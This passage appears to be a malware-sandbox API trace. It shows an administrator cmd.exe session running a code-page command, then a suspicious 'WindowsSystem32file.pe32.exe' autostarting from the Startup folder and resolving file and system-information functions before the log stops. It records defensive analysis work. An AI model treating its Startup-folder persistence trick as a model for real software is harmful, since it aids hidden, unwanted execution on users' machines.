lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesRead=0x86f7affcb8*=0x1, lpOverlapped=0x0) returned 1 [0092.912] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=1, lpWideCharStr=0x7ff78bcd3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0092.913] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.913] GetFileType (hFile=0x248) returned 0x3 [0092.913] _get_osfhandle (_FileHandle=0) returned 0x248 [0092.913] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.913] _get_osfhandle (_FileHandle=1) returned 0x254 [0092.913] GetFileType (hFile=0x254) returned 0x3 [0092.913] _get_osfhandle (_FileHandle=1) returned 0x254 [0092.913] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff78bcc9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0092.913] WriteFile (in: hFile=0x254, lpBuffer=0x7ff78bcc9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x86f7affc58, lpOverlapped=0x0 | out: lpBuffer=0x7ff78bcc9970*, lpNumberOfBytesWritten=0x86f7affc58*=0x18, lpOverlapped=0x0) returned 1 [0092.913] GetProcessHeap () returned 0x27b21d80000 [0092.913] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x4012) returned 0x27b21d88fe0 [0092.913] GetProcessHeap () returned 0x27b21d80000 [0092.913] RtlFreeHeap (HeapHandle=0x27b21d80000, Flags=0x0, BaseAddress=0x27b21d88fe0) returned 1 [0092.914] _wcsicmp (_String1="mode", _String2=")") returned 68 [0092.914] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0092.914] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0092.914] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0092.914] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0092.914] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0092.914] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0092.914] GetProcessHeap () returned 0x27b21d80000 [0092.914] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0xb0) returned 0x27b21d88320 [0092.914] GetProcessHeap () returned 0x27b21d80000 [0092.914] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x1a) returned 0x27b21d86a80 [0092.915] GetProcessHeap () returned 0x27b21d80000 [0092.915] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x38) returned 0x27b21d81850 [0092.916] GetConsoleOutputCP () returned 0x1b5 [0093.747] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78bccfbb0 | out: lpCPInfo=0x7ff78bccfbb0) returned 1 [0093.747] SetThreadUILanguage (LangId=0x0) returned 0x409 [0094.624] GetConsoleTitleW (in: lpConsoleTitle=0x86f7affaa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0095.449] malloc (_Size=0xffce) returned 0x27b21ea0840 [0095.450] ??_V@YAXPEAX@Z () returned 0x27b21ea0840 [0095.450] malloc (_Size=0xffce) returned 0x27b21eb0820 [0095.451] ??_V@YAXPEAX@Z () returned 0x27b21eb0820 [0095.451] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0095.453] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0095.453] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0095.453] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0095.453] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0095.453] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0095.453] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0095.453] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0095.453] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0095.453] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0095.453] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0095.453] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0095.453] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0095.453] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0095.453] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0095.453] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0095.453] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0095.453] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0095.453] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0095.453] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0095.453] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0095.453] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0095.453] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0095.453] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0095.453] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0095.453] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0095.453] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0095.454] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0095.454] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0095.454] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0095.454] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0095.454] _wcsicmp (_String1="mode", _String2="START") returned -6 [0095.454] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0095.454] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0095.454] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0095.454] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0095.454] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0095.454] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0095.454] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0095.454] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0095.454] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0095.454] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0095.454] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0095.454] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0095.454] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0095.454] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0095.454] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0095.454] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0095.454] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0095.454] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0095.454] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0095.454] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0095.454] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0095.454] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0095.454] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0095.454] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0095.454] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0095.455] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0095.455] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0095.455] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0095.455] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0095.455] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0095.455] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0095.455] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0095.455] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0095.455] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0095.455] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0095.455] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0095.455] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0095.455] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0095.455] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0095.455] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0095.455] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0095.455] _wcsicmp (_String1="mode", _String2="START") returned -6 [0095.455] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0095.455] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0095.455] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0095.455] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0095.455] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0095.455] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0095.455] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0095.455] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0095.455] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0095.455] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0095.455] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0095.456] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0095.456] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0095.456] ??_V@YAXPEAX@Z () returned 0x1 [0095.456] GetProcessHeap () returned 0x27b21d80000 [0095.456] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0xffde) returned 0x27b21d88fe0 [0095.457] GetProcessHeap () returned 0x27b21d80000 [0095.457] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x42) returned 0x27b21d883e0 [0095.457] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0095.457] malloc (_Size=0xffce) returned 0x27b21eb0820 [0095.457] ??_V@YAXPEAX@Z () returned 0x27b21eb0820 [0095.457] GetProcessHeap () returned 0x27b21d80000 [0095.457] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x1ffac) returned 0x27b21d98fd0 [0095.460] SetErrorMode (uMode=0x0) returned 0x0 [0095.460] SetErrorMode (uMode=0x1) returned 0x0 [0095.460] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x27b21d98fe0, lpFilePart=0x86f7aff320 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x86f7aff320*="Desktop") returned 0x17 [0095.460] SetErrorMode (uMode=0x0) returned 0x1 [0095.460] GetProcessHeap () returned 0x27b21d80000 [0095.460] RtlReAllocateHeap (Heap=0x27b21d80000, Flags=0x0, Ptr=0x27b21d98fd0, Size=0x4a) returned 0x27b21d98fd0 [0095.461] GetProcessHeap () returned 0x27b21d80000 [0095.461] RtlSizeHeap (HeapHandle=0x27b21d80000, Flags=0x0, MemoryPointer=0x27b21d98fd0) returned 0x4a [0095.461] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff78bccbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0095.461] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0095.461] GetProcessHeap () returned 0x27b21d80000 [0095.461] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x1bc) returned 0x27b21d86c30 [0095.461] GetProcessHeap () returned 0x27b21d80000 [0095.461] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x368) returned 0x27b21d99030 [0095.472] GetProcessHeap () returned 0x27b21d80000 [0095.472] RtlReAllocateHeap (Heap=0x27b21d80000, Flags=0x0, Ptr=0x27b21d99030, Size=0x1be) returned 0x27b21d99030 [0095.472] GetProcessHeap () returned 0x27b21d80000 [0095.472] RtlSizeHeap (HeapHandle=0x27b21d80000, Flags=0x0, MemoryPointer=0x27b21d99030) returned 0x1be [0095.472] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff78bccbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0095.472] GetProcessHeap () returned 0x27b21d80000 [0095.472] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0xe8) returned 0x27b21d86e00 [0095.474] GetProcessHeap () returned 0x27b21d80000 [0095.474] RtlReAllocateHeap (Heap=0x27b21d80000, Flags=0x0, Ptr=0x27b21d86e00, Size=0x7e) returned 0x27b21d86e00 [0095.474] GetProcessHeap () returned 0x27b21d80000 [0095.474] RtlSizeHeap (HeapHandle=0x27b21d80000, Flags=0x0, MemoryPointer=0x27b21d86e00) returned 0x7e [0095.475] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0095.475] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x86f7aff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x86f7aff090) returned 0xffffffffffffffff [0095.475] GetLastError () returned 0x2 [0095.475] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0095.475] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x86f7aff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x86f7aff090) returned 0xffffffffffffffff [0095.478] GetLastError () returned 0x2 [0095.479] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0095.479] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x86f7aff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x86f7aff090) returned 0x27b21d86e90 [0095.479] GetProcessHeap () returned 0x27b21d80000 [0095.479] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x0, Size=0x28) returned 0x27b21d81890 [0095.479] FindClose (in: hFindFile=0x27b21d86e90 | out: hFindFile=0x27b21d86e90) returned 1 [0095.479] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x86f7aff090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x86f7aff090) returned 0x27b21d86e90 [0095.479] GetProcessHeap () returned 0x27b21d80000 [0095.479] RtlReAllocateHeap (Heap=0x27b21d80000, Flags=0x0, Ptr=0x27b21d81890, Size=0x8) returned 0x27b21d81890 [0095.479] FindClose (in: hFindFile=0x27b21d86e90 | out: hFindFile=0x27b21d86e90) returned 1 [0095.480] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0095.480] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0095.480] ??_V@YAXPEAX@Z () returned 0x1 [0095.480] GetConsoleTitleW (in: lpConsoleTitle=0x86f7aff610, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0096.481] GetProcessHeap () returned 0x27b21d80000 [0096.481] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x21c) returned 0x27b21d99200 [0096.481] GetConsoleTitleW (in: lpConsoleTitle=0x27b21d99210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0097.791] GetProcessHeap () returned 0x27b21d80000 [0097.791] RtlReAllocateHeap (Heap=0x27b21d80000, Flags=0x0, Ptr=0x27b21d99200, Size=0xaa) returned 0x27b21d99200 [0097.791] GetProcessHeap () returned 0x27b21d80000 [0097.791] RtlSizeHeap (HeapHandle=0x27b21d80000, Flags=0x0, MemoryPointer=0x27b21d99200) returned 0xaa [0097.791] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0098.688] GetProcessHeap () returned 0x27b21d80000 [0098.688] RtlFreeHeap (HeapHandle=0x27b21d80000, Flags=0x0, BaseAddress=0x27b21d99200) returned 1 [0098.688] InitializeProcThreadAttributeList (in: lpAttributeList=0x86f7aff530, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x86f7aff420 | out: lpAttributeList=0x86f7aff530, lpSize=0x86f7aff420) returned 1 [0098.688] UpdateProcThreadAttribute (in: lpAttributeList=0x86f7aff530, dwFlags=0x0, Attribute=0x60001, lpValue=0x86f7aff40c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x86f7aff530, lpPreviousValue=0x0) returned 1 [0098.688] GetStartupInfoW (in: lpStartupInfo=0x86f7aff4c0 | out: lpStartupInfo=0x86f7aff4c0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0098.688] GetProcessHeap () returned 0x27b21d80000 [0098.688] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x20) returned 0x27b21d86e90 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.689] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0098.690] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0098.690] GetProcessHeap () returned 0x27b21d80000 [0098.690] RtlFreeHeap (HeapHandle=0x27b21d80000, Flags=0x0, BaseAddress=0x27b21d86e90) returned 1 [0098.690] GetProcessHeap () returned 0x27b21d80000 [0098.690] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0x12) returned 0x27b21d86e90 [0098.690] _get_osfhandle (_FileHandle=1) returned 0x254 [0098.690] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0098.690] _get_osfhandle (_FileHandle=0) returned 0x248 [0098.690] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0098.690] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x86f7aff450*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x86f7aff428 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x86f7aff428*(hProcess=0x98, hThread=0x94, dwProcessId=0xca0, dwThreadId=0xf88)) returned 1 [0099.522] CloseHandle (hObject=0x94) returned 1 [0099.522] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0099.522] GetProcessHeap () returned 0x27b21d80000 [0099.522] RtlFreeHeap (HeapHandle=0x27b21d80000, Flags=0x0, BaseAddress=0x27b21d88500) returned 1 [0099.522] GetEnvironmentStringsW () returned 0x27b21d884c0* [0099.522] GetProcessHeap () returned 0x27b21d80000 [0099.522] RtlAllocateHeap (HeapHandle=0x27b21d80000, Flags=0x8, Size=0xacc) returned 0x27b21d99520 [0099.522] FreeEnvironmentStringsA (penv="=") returned 1 [0099.522] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0099.522] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0099.522] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x86f7afe928, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x86f7afe928, ReturnLength=0x0) returned 0x0 [0099.522] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xcc303d6000, lpBuffer=0x86f7afe960, nSize=0x7a0, lpNumberOfBytesRead=0x86f7afe920 | out: lpBuffer=0x86f7afe960*, lpNumberOfBytesRead=0x86f7afe920*=0x7a0) returned 1 [0099.523] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) Thread: id = 24 os_tid = 0xcfc Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xcec5000" os_pid = "0x658" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x5cc" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0xf48 Thread: id = 20 os_tid = 0xf08 Thread: id = 21 os_tid = 0x4b8 Thread: id = 22 os_tid = 0xe84 Thread: id = 23 os_tid = 0xeb4 Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0xa306000" os_pid = "0xca0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x5cc" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xf88 Thread: id = 26 os_tid = 0xed0 Process: id = "5" image_name = "windowssystem32file.pe32.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe" page_root = "0x2f00b000" os_pid = "0xdf0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012605" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0xdf4 [0171.296] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74bd0000 [0171.296] GetProcAddress (hModule=0x74bd0000, lpProcName="GetProcAddress") returned 0x74be51b0 [0171.296] GetProcAddress (hModule=0x74bd0000, lpProcName="GetModuleHandleW") returned 0x74be50d0 [0171.296] GetProcAddress (hModule=0x74bd0000, lpProcName="FindNextFileW") returned 0x74c3ee40 [0171.296] GetProcAddress (hModule=0x74bd0000, lpProcName="FindClose") returned 0x74c3ed70 [0171.296] GetProcAddress (hModule=0x74bd0000, lpProcName="MoveFileW") returned 0x74c1e500 [0171.296] GetProcAddress (hModule=0x74bd0000, lpProcName="GetFileSizeEx") returned 0x74c3ef40 [0171.296] GetProcAddress (hModule=0x74bd0000, lpProcName="GetModuleFileNameW") returned 0x74be5090 [0171.296] GetProcAddress (hModule=0x74bd0000, lpProcName="GetFileAttributesW") returned 0x74c3ef10 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="ExitProcess") returned 0x74be3cb0 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="GetCommandLineW") returned 0x74be4cc0 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="GetComputerNameW") returned 0x74c132c0 [0171.297] GetProcAddress (hModule=0x74bd0000, lpProcName="GetComputerNameA") returned 